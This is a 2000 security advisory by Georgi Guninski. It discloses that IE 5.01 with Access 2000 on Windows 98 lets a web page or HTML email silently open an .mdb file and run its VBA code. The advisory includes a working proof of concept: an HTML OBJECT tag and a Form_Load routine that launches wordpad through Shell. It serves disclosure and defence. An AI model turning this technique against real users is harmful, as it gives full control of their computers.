ie5-access2000.txt

`Georgi Guninski security advisory #14, 2000  
  
IE 5 and Access 2000 vulnerability - executing programs  
  
Systems affected: IE 5.01, Access 2000, Win98 - probably other versions,  
have not tested  
Risk: High  
  
Disclaimer:  
The opinions expressed in this advisory and program are my own and not  
of any company.  
The usual standard disclaimer applies, especially the fact that Georgi  
Guninski is not liable for any damages caused by direct or indirect use  
of the information or functionality provided by this program.  
Georgi Guninski, bears NO responsibility for content or misuse of this  
program or any derivatives thereof.  
  
Description:  
Internet Explorer 5.01 and Access 2000 under Windows 98 (suppose other  
versions are also vulnerable)  
allow executing programs when viewing a web page or HTML email message -  
(in the latter case with IFRAME).  
This allows taking full control over user's computer.  
  
Details:  
  
Access 2000 allows executing VBA code which has access to system  
resources and in particular executing files.  
It is possible to silently open and execute .mdb file from IE with the  
code:  
<OBJECT data="db3.mdb" id="d1"></OBJECT>  
This allows executing VBA code from Access 2000, though it is not  
visible to the user.  
  
The code is:  
-----------access.html----------------------------  
<OBJECT data="db3.mdb" id="d1"></OBJECT>  
-----------in Form1 of db3.mdb---------------------  
Private Sub Form_Load()  
On Error GoTo Err_Command0_Click  
Dim stAppName As String  
stAppName = "C:\Program Files\Accessories\wordpad.exe"  
MsgBox ("Trying to start: " & stAppName)  
Call Shell(stAppName, 1)  
  
Exit_Command0_Click:  
Exit Sub  
  
Err_Command0_Click:  
MsgBox Err.Description  
Resume Exit_Command0_Click  
End Sub  
---------------------------------------------------  
Form1 is automatically opened at database startup.  
  
Demonstration is available at:  
http://www.nat.bg/~joro/access.html  
  
  
Copyright 2000 Georgi Guninski  
  
Regards,  
Georgi Guninski  
http://www.nat.bg/~joro  
  
  
`